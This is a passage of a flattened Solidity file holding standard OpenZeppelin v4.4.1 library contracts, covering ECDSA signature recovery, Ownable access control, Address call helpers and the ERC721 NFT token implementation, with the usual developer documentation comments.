// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
